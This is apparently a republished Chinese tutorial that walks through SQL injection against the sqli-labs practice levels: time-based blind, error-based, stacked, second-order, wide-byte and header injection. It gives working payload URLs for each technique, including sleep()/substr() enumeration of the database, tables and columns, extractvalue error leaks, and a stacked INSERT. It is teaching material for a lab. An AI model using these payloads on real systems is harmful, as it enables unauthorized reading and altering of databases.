SQL注入-中篇

SQL盲注

一、时间盲注

模拟环境:Less-9

  1. 概述

延迟注入,一种盲注的手法,提交对执行时间敏感的sql语句,通过执行时间的长短来判断是否执行成功。

  1. 时间注入函数
sleep()
if()
ascii()
substring()
length()
mid()

判断是否存在延时注入(Less-9)
  1. 源SQL:SELECT * FROM users WHERE id='$id' LIMIT 0,1
  2. 判断方式一
# 如果存在注入,请求结果将在延时函数执行后才会返回。
# SQL
select * from `security`.users where id ="1" and sleep(5) -- # 注入http://10.196.93.67/sqli-labs/Less-9/?id=1' and sleep(5) --
  1. 判断方式二
# 如果存在注入,请求结果将在延时函数执行后才会返回。
# SQL
select * from `security`.users where id ="1" and if(1=1,sleep(4),1) -- #注入
http://10.196.93.67/sqli-labs/Less-9/?id=1' and if(1=1 ,sleep(5),1) -- 

image.png

查询当前数据库的长度

结果为:8位

# SQL select * from `security`.users where id ="1" and if((select length(database()))=8,sleep(4),1) -- #注入http://10.196.93.67/sqli-labs/Less-9/?id=1' and if( (select length(database()))=8 ,sleep(5),1) -- 

image.png

查询当前数据库名
#sql 
select * from `security`.users where id = "1"  and if (substr((select  database() limit 0,1),1,1) = "s",sleep(5),1);# 注入
http://10.196.93.67/sqli-labs/Less-9/?id=1' and if (substr((select  database() limit 0,1),1,1) = "s",sleep(5),1) -- 

image.png

查询当前数据库表的数量
#sql
select * from `security`.users where id = "1" and if((select count(*) from information_schema.`TABLES` where table_schema = database())=4,sleep(5),1);# 注入
http://10.196.93.67/sqli-labs/Less-9/?id=1'  and if((select count(*) from information_schema.`TABLES` where table_schema = database())=4,sleep(5),1) -- 

image.png

查询当前数据库表的名称
# sql
select * from `security`.users where id = "1" and if(substr((select table_name from information_schema.`TABLES` where table_schema = database() limit 0,1),1,1)="e",sleep(5),1);# 注入
http://10.196.93.67/sqli-labs/Less-9/?id=1' and if(substr((select table_name from information_schema.`TABLES` where table_schema = database() limit 0,1),1,1)="e",sleep(5),1) -- 

image.png

查询当前数据库users表的字段个数
# sql
select * from `security`.users where id = "1" and if(( select count(*) from information_schema.columns  where table_name = "users" and table_schema=database())=3,sleep(5),1)# 注入
http://10.196.93.67/sqli-labs/Less-9/?id=1' and if(( select count(*) from information_schema.columns  where table_name = "users" and table_schema=database())=3,sleep(5),1) -- 

image.png

查询当前数据库users表的字段名称
# sql
select * from `security`.users where id = "1" and if( substr(( select column_name  from information_schema.columns  where table_name = "users" and table_schema=database() limit 0,1),1,1) ="i",sleep(5),1)
# 注入
http://10.196.93.67/sqli-labs/Less-9/?id=1'  and if( substr(( select column_name  from information_schema.columns  where table_name = "users" and table_schema=database() limit 0,1),1,1) ="i",sleep(5),1) -- 

image.png

二、报错注入

概述

报错注入是将mysql存在的函数,通过编写错误的SQL语句,从而得到需要的查询结果。

使用场景
  1. 能够将SQL报错信息展示到页面上
  2. 使用mysql自带的函数,通过错误的使用,导致语法被执行
利用函数
floor() #重点
extractvalue() #重点
updatexml() # 重点
geometrycollection()
multipoint()
polygon()
multipolygon()
linestring()
multilinestring()
exp()

报错注入-固定写法

extractvalue()
  1. 示例
#SQL语句
select * from `security`.users where id ="1" and  (extractvalue(1,concat("~",(select user()),"~"))) -- 
# 结果:
/*
[SQL]select * from `security`.users where id ="1" and  (extractvalue(1,concat("~",(select user()),"~"))) -- [Err] 1105 - XPATH syntax error: '~root@localhost~'*/

floor()
  1. 概述

floor报错注入的原因是group by在向临时表插入数据时,由于rand()多次计算导致查询临时表时主键重复,从而报错,又因为报错前concat()中的SQL语句或函数被执行,所以该语句报错且抛出的SQL语句执行后的结果。

  1. 函数作用:
    1. floor() 向下取整
select floor(-1.8)  # -2
select floor(1.1) # 1
select floor(1.8) # 1
  1. count(): 计数
  2. concat() : 将字符连接
  3. rand():伪随机函数(当该函数传入参数时,返回的值就是固定的,没有传参就是随机的)
select rand(); # 值是随机的
select rand(1);# 第一次随机值是多少,后面在执行也是第一次返回的值
  1. group by 分组
# 示例 对username字段进行分组
select count(*) ,username from `security`.users group by username;
# 结果:

image.png

updataxml()

image.png

堆叠注入

一、原理

php方法:mysql_multi_query()
支持多条sql语句同时执行,通过分号分隔,成堆的执行sql语句

select user();select database();

二、Less-38

# sql
select * from users; insert into users(id,username,password) value(22,"a","e");# 注入
http://10.196.93.67/sqli-labs/Less-38/?id=1' ; insert into users (id,username,password) value(33,"v","v") -- 

image.png

二次注入

一、利用场景

  1. 能够将恶意SQL存入到数据库中
  2. 保证在网页方可以引用该数据

二、Less-24

  1. 万能密码
    1. admin ' and 1=1 #
#sql
select * from `security`.users union select 1,user(),database();
# 在注册用户名和密码时,用户名输入框输入SQL: v ' union select 1,user(),database();

image.png

宽字节注入

一、原理

网站对注入SQL点添加了过滤条件,不能添加单引号,宽字节注入就是为了绕过检测过滤的。

二、注入条件

  1. 条件一
    1. 数据库查询设置为GBK编码
  2. 条件二
    1. 使用了addslashes()mysql_real_escape_string()/mysql_escape_string()之类的函数

三、Less-36

尝试使用%81来检测
image.png

HTTP请求头注入

Useragent注入(Less-18)

image.png

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/bicheng/29595.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

存储文件夹下所有.cpp和.h的代码到对应的txt文件里

最近大半年刷了160多天的题,每次刷的时候都要新建一个VS文件,所以文件内存太大了,又舍不得删,就用ai整了一个脚本,可将当前路径下的所有文件里的.cpp和.h文件储存到相应名字的txt文件里,若文件夹下还有文件…

SpringBoot + Maven 项目的创建

文章目录 1、Maven2、SpringBoot3、二者之间的联系4、项目的创建 在创建项目之前,肯定要知道他们之间的区别 1、Maven maven是一个跨平台的项目管理工具。它是Apache的一个开源项目,主要服务于基于Java平台的项目构建、依赖管理和项目信息管理。 比如说…

Spring注解----------@Deprecated

情景: 在我们开发过程中,有时候会遇到我们需要将几个类中的方法集中到一个类中,但是我们又不希望把我们的原来的类删掉(就是单纯的不想删除,都是我写的代码我不想杀死我的结晶,不能说我写的是shi&#xff…

为什么要选择华为 HCIE-Security 课程?

2020 年我国网络安全市场规模达到 680 亿元,同比增长 25%。随着对网络安全的愈加重视及布局,市场规模将持续扩大。 近年来,随着“云大物工移智”等新兴技术的快速发展和普及应用,数字化已经融入社会经济生活的方方面面&#xff0c…

自我激励学习提升语言模型的推理能力

随着人工智能技术的快速发展,语言模型(LMs)在各种下游任务中展现出了卓越的能力。特别是在少样本(few-shot)和零样本(zero-shot)学习环境中,通过吸收特定任务的指令和示例&#xff0…

CLIP: Learning Transferable Visual Models From Natural Language Supervision

1、引言 论文链接:ReadPaper 现在最先进的计算机视觉系统都是训练模型来预测一组固定的、预定义好的目标类别(如 ImageNet 的 1000 类和 COCO 的 80 类)。这种受限制的监督形式限制了它们的通用性和可用性,因为需要额外的标记数据…

光纤通信基础(光纤的构造、工作原理、色散、工作频段、损耗、分类、不同标准及应用、接口类型、常见标示方法、熔接)

文章目录 光纤的构造:纤芯、包层、涂覆层光纤的工作原理:利用全反射来传输光信号光纤的色散光纤的工作频段光纤的损耗光纤的分类光纤的不同标准及应用光纤的接口类型(SC、LC、ST、FC)光纤的常见标示方法:如“FC/PC”&a…

项目准备和启动

1.什么是项目建议书? 2.项目建议书的内容 3.可行性分析方法 4.项目组织结构(职能型 项目型 矩阵型) 5.项目管理层决策层执行层之间的关系 6.软件项目的可行性分析包括哪几个方面?影响决策的关键因素又是什么? 软件项目…

鸿蒙开发实战:灵活定制Tabs组件,实现个性化页签布局

闪客 沉默的闪客 2024-06-16 20:01 陕西 大家好,又一个项目已经基本完成 是一个元服务英语单词卡片项目,后面一步一步的进行分析拆解,今天来实现一个Tabs组件自定义界面开发。 鸿蒙ArkUI 开发的时候,Tabs 组件很常用,…

CDA二级(Level II)数据分析师——考试内容梳理三(简单重点案例)

PR曲线是基于召回率的准确性来进行判断的; 混淆矩阵: ROC曲线以真阳性率(敏感性、召回率)为纵坐标,假阳性率(1-特异性)为横坐标 假阳性率:负样本中被误认为正样本的概率 FP/FPTN 真…

基于B/S版java语言+SpringBoot技术开发的云HIS系统源码 HIS系统住院业务模块常见问题及解决方案

基于B/S版java语言SpringBoot技术开发的云HIS系统源码 HIS系统住院业务模块常见问题及解决方案 随着医疗技术的不断提高,住院治疗已成为许多病人的常规选择。但是,住院治疗不仅需要医护人员的精心照顾,也需要个高效的信息系统来保证整个治疗过…

Unity制作透明材质直接方法——6.15山大软院项目实训

之前没有在unity里面接触过材质的问题,一般都是在maya或这是其他建模软件里面直接得到编辑好材质的模型,然后将他导入Unity里面,然后现在碰到了需要自己在Unity制作透明材质的情况,所以先搜索了一下有没有现成的方法,很…

C++迈向精通:当我尝试修改虚函数表

尝试修改虚函数表 本期纯整活儿好吧!!!! 初衷 有一天我突然开始好奇虚函数表是否真的存在,于是我开始想是否能够从C中查看或者调用虚函数表中的内容。,于是有了下面的操作。 操作过程 起初我并没有思路…

神经网络模型---AlexNet

一、AlexNet 1.导入tensorflow库,这里给简称为tf库 import tensorflow as tf from tensorflow.keras import datasets, layers, modelsdatasets:是用于训练和测试机器学习模型的数据集合 layers:是构建神经网络模型的关键组成部分 models&a…

Golang并发控制的三种方案

Channel Channel是Go在语言层面提供的一种协程间的通信方式&#xff0c;我们可以通过在协程中向管道写入数据和在待等待的协程中读取对应协程的次数来实现并发控制。 func main() {intChan : make(chan int, 5)waitCount : 5for i : 0; i < waitCount; i {go func() {intC…

上海SNEC光伏展参展总结--安科瑞

安科瑞戴婷 Acrel-Fanny 今年的snec上海光伏展吸引了来自全球各地的光伏行业专业人士及爱好者&#xff0c;本次展会共有来自30多个国家和地区的超过2000家企业参展&#xff0c;展出的光伏产品涵盖了太阳能电池、太阳能组件、逆变器、太阳能辅助设备等众多领域。 随着近年来光…

《收获,不止oracle》读书笔记一:oracle体系结构

从图中可以看出,oracle数据库是由实例和一组数据库文件组成。实例是由oracle开辟的内存区和一组后台进程组成的。

2024.6.18

Python的网络编程 网络四层 在开始前,我们需要先了解一下我们在网络通信过程中的四个层次 我们上网产生的数据都是经过协议栈一层一层的封装然后经网卡发送到网络&#xff0c;经网络发送到服务端&#xff0c;然后服务端又是一层一层的解封装拿到自己想要的数据。 我们学习的…

YOLOv8目标检测算法在地平线Bernoulli2架构BPU上高效部署参考(PTQ方案)30fps!

—— 以RDK X3为例&#xff0c;修改Head部分&#xff0c;8ms疾速Python后处理程序&#xff0c;30fps稳稳当当 本文在地平线对YOLOv8s的Backbone修改的基础上&#xff0c;提出一种在地平线Bernoulli2架构BPU上部署YOLOv8的后处理思路。使用640640分辨率&#xff0c;80类别基于C…

香橙派AIPro开机测试

资料准备&#xff1a; 香橙派官网资料下载链接&#xff1a;http://www.orangepi.cn/html/hardWare/computerAndMicrocontrollers/service-and-support/Orange-Pi-AIpro.html 硬件准备 香橙派ai pro一个 32G sd卡&#xff0c;带出厂镜像 电源 鼠标 键盘 hdmi显示屏 测试介绍 由…